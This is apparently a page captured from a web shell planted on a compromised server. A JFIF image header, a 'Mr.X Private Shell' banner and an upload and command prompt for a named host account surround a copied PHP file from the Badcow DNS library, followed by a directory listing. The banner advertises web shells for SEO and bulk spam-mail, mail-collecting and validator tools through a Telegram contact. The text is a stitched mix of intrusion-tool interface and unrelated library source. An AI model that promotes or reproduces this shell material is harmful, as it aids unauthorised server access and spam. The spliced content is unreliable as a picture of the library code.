����JFIF��������� Mr.X 
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

antiaginglove@216.73.216.231: ~ $ 
<?php

declare(strict_types=1);

/*
 * This file is part of Badcow DNS Library.
 *
 * (c) Samuel Williams <sam@badcow.co>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Badcow\DNS\Rdata;

use Badcow\DNS\Message;
use Badcow\DNS\Parser\Tokens;
use Badcow\DNS\Validator;
use BadMethodCallException;
use Base32\Base32Hex;
use DomainException;
use InvalidArgumentException;

/**
 * {@link https://tools.ietf.org/html/rfc5155}.
 */
class NSEC3 implements RdataInterface
{
    use RdataTrait;

    public const TYPE = 'NSEC3';
    public const TYPE_CODE = 50;

    /**
     * {@link https://www.iana.org/assignments/dnssec-nsec3-parameters/dnssec-nsec3-parameters.xhtml}.
     *
     * @var int the Hash Algorithm field identifies the cryptographic hash algorithm used to construct the hash-value
     */
    private $hashAlgorithm = 1;

    /**
     * @var bool
     */
    private $unsignedDelegationsCovered = false;

    /**
     * @var int|null
     */
    private $iterations;

    /**
     * @var string|null Binary encoded string
     */
    private $salt;

    /**
     * @var string|null fully qualified next owner name
     */
    private $nextOwnerName;

    /**
     * @var string Binary encoded hash
     */
    private $nextHashedOwnerName;

    /**
     * @var array
     */
    private $types = [];

    public function getHashAlgorithm(): int
    {
        return $this->hashAlgorithm;
    }

    /**
     * @throws InvalidArgumentException
     */
    public function setHashAlgorithm(int $hashAlgorithm): void
    {
        if (!Validator::isUnsignedInteger($hashAlgorithm, 8)) {
            throw new InvalidArgumentException('Hash algorithm must be 8-bit integer.');
        }
        $this->hashAlgorithm = $hashAlgorithm;
    }

    public function isUnsignedDelegationsCovered(): bool
    {
        return $this->unsignedDelegationsCovered;
    }

    public function setUnsignedDelegationsCovered(bool $unsignedDelegationsCovered): void
    {
        $this->unsignedDelegationsCovered = $unsignedDelegationsCovered;
    }

    public function getIterations(): ?int
    {
        return $this->iterations;
    }

    /**
     * @throws InvalidArgumentException
     */
    public function setIterations(int $iterations): void
    {
        if (!Validator::isUnsignedInteger($iterations, 16)) {
            throw new InvalidArgumentException('Hash algorithm must be 16-bit integer.');
        }
        $this->iterations = $iterations;
    }

    /**
     * @return string Base16 string
     */
    public function getSalt(): ?string
    {
        if (null === $this->salt) {
            return null;
        }

        return bin2hex($this->salt);
    }

    /**
     * @param string $salt Hexadecimal string
     */
    public function setSalt(string $salt): void
    {
        if (false === $bin = @hex2bin($salt)) {
            throw new InvalidArgumentException('Salt must be a hexadecimal string.');
        }
        $this->salt = $bin;
    }

    public function getNextOwnerName(): ?string
    {
        return $this->nextOwnerName;
    }

    /**
     * Set the next owner name.
     *
     * @param string $nextOwnerName the fully qualified next owner name
     *
     * @throws InvalidArgumentException
     */
    public function setNextOwnerName(string $nextOwnerName): void
    {
        if (!Validator::fullyQualifiedDomainName($nextOwnerName)) {
            throw new InvalidArgumentException(sprintf('NSEC3: Next owner "%s" is not a fully qualified domain name.', $nextOwnerName));
        }
        $this->nextOwnerName = $nextOwnerName;
    }

    public function getNextHashedOwnerName(): string
    {
        return $this->nextHashedOwnerName;
    }

    public function setNextHashedOwnerName(string $nextHashedOwnerName): void
    {
        $this->nextHashedOwnerName = $nextHashedOwnerName;
    }

    public function addType(string $type): void
    {
        $this->types[] = $type;
    }

    public function setTypes(array $types): void
    {
        $this->types = $types;
    }

    /**
     * Clears the types from the RDATA.
     */
    public function clearTypes(): void
    {
        $this->types = [];
    }

    public function getTypes(): array
    {
        return $this->types;
    }

    public function toText(): string
    {
        return sprintf(
            '%d %d %d %s %s %s',
            $this->hashAlgorithm,
            (int) $this->unsignedDelegationsCovered,
            $this->iterations,
            empty($this->salt) ? '-' : $this->getSalt(),
            Base32Hex::encode($this->getNextHashedOwnerName()),
            implode(Tokens::SPACE, $this->types)
        );
    }

    /**
     * @throws UnsupportedTypeException
     */
    public function toWire(): string
    {
        $wire = pack(
            'CCnC',
            $this->hashAlgorithm,
            (int) $this->unsignedDelegationsCovered,
            $this->iterations,
            strlen($this->salt ?? '')
        );
        $wire .= $this->salt;
        $wire .= chr(strlen($this->nextHashedOwnerName));
        $wire .= $this->nextHashedOwnerName;
        $wire .= NSEC::renderBitmap($this->types);

        return $wire;
    }

    public function fromText(string $text): void
    {
        $rdata = explode(Tokens::SPACE, $text);
        $this->setHashAlgorithm((int) array_shift($rdata));
        $this->setUnsignedDelegationsCovered((bool) array_shift($rdata));
        $this->setIterations((int) array_shift($rdata));
        $salt = (string) array_shift($rdata);
        if ('-' === $salt) {
            $salt = '';
        }
        $this->setSalt($salt);
        $this->setNextHashedOwnerName(Base32Hex::decode(array_shift($rdata) ?? ''));
        array_map([$this, 'addType'], $rdata);
    }

    /**
     * @throws UnsupportedTypeException|DecodeException
     */
    public function fromWire(string $rdata, int &$offset = 0, ?int $rdLength = null): void
    {
        if (false === $values = unpack('C<hashAlgo>/C<flags>/n<iterations>/C<saltLen>', $rdata, $offset)) {
            throw new DecodeException(static::TYPE, $rdata);
        }
        $offset += 5;
        $this->setHashAlgorithm((int) $values['<hashAlgo>']);
        $this->setUnsignedDelegationsCovered((bool) $values['<flags>']);
        $this->setIterations((int) $values['<iterations>']);

        $saltLen = (int) $values['<saltLen>'];
        if (false === $salt = unpack('H*', substr($rdata, $offset, $saltLen))) {
            throw new DecodeException(static::TYPE, $rdata);
        }
        $this->setSalt($salt[1]);
        $offset += $saltLen;

        $hashLen = ord(substr($rdata, $offset, 1));
        ++$offset;
        $hash = substr($rdata, $offset, $hashLen);
        $offset += $hashLen;
        $this->setNextHashedOwnerName($hash);

        $types = NSEC::parseBitmap($rdata, $offset);
        array_map([$this, 'addType'], $types);
    }

    /**
     * Calculate and set NSEC3::nextOwnerHash. Requires NSEC3::salt, NSEC3::nextOwnerName, and NSEC3::iterations to be set.
     *
     * @throws InvalidArgumentException
     */
    public function calculateNextOwnerHash(): void
    {
        if (!isset($this->nextOwnerName) || !isset($this->salt) || !isset($this->iterations)) {
            throw new BadMethodCallException('NSEC3::salt, NSEC3::nextOwnerName, and NSEC3::iterations must be set.');
        }
        $nextOwner = Message::encodeName(strtolower($this->nextOwnerName));
        $this->nextHashedOwnerName = self::hash($this->salt, $nextOwner, $this->iterations);
    }

    /**
     * @param string $salt the salt
     * @param string $x    the value to be hashed
     * @param int    $k    the number of recursive iterations of the hash function
     *
     * @return string the hashed value
     *
     * @throws DomainException
     */
    private static function hash(string $salt, string $x, int $k = 0): string
    {
        if ($k < 0) {
            throw new DomainException('Number of iterations, $k, must be a positive integer greater than, or equal to, 0.');
        }
        $x = sha1($x.$salt, true);
        if (0 === $k) {
            return $x;
        }
        --$k;

        return self::hash($salt, $x, $k);
    }
}

Filemanager

DIR : / usr/ local/ jetapps/ var/ lib/ 3rdparty/ Badcow/ DNS/ Rdata/
Name Type Size Permission Actions
A.php File 1.94 KB 0644
AAAA.php File 1.07 KB 0644
AFSDB.php File 2.2 KB 0644
APL.php File 4.12 KB 0644
CAA.php File 4.06 KB 0644
CDNSKEY.php File 450 B 0644
CDS.php File 431 B 0644
CERT.php File 5.49 KB 0644
CNAME.php File 1.33 KB 0644
CSYNC.php File 2.46 KB 0644
DHCID.php File 5.65 KB 0644
DLV.php File 455 B 0644
DNAME.php File 674 B 0644
DNSKEY.php File 1.02 KB 0644
DS.php File 3.93 KB 0644
DecodeException.php File 933 B 0644
Factory.php File 17.37 KB 0644
HINFO.php File 2.19 KB 0644
HIP.php File 4.4 KB 0644
IPSECKEY.php File 9.34 KB 0644
KEY.php File 3.25 KB 0644
KX.php File 2.45 KB 0644
LOC.php File 7.36 KB 0644
MX.php File 2.46 KB 0644
NAPTR.php File 7.06 KB 0644
NS.php File 442 B 0644
NSEC.php File 4.13 KB 0644
NSEC3.php File 8.09 KB 0644
NSEC3PARAM.php File 3.65 KB 0644
OPT.php File 2.79 KB 0644
PTR.php File 4.24 KB 0644
PolymorphicRdata.php File 2.02 KB 0644
RP.php File 1.82 KB 0644
RRSIG.php File 8.04 KB 0644
RdataInterface.php File 1.7 KB 0644
RdataTrait.php File 803 B 0644
SIG.php File 378 B 0644
SOA.php File 5.78 KB 0644
SPF.php File 432 B 0644
SRV.php File 4.61 KB 0644
SSHFP.php File 3.36 KB 0644
TA.php File 441 B 0644
TKEY.php File 7.41 KB 0644
TLSA.php File 4.69 KB 0644
TSIG.php File 6.5 KB 0644
TXT.php File 3.44 KB 0644
Types.php File 10.33 KB 0644
URI.php File 3.67 KB 0644
UnknownType.php File 2.2 KB 0644
UnsupportedTypeException.php File 477 B 0644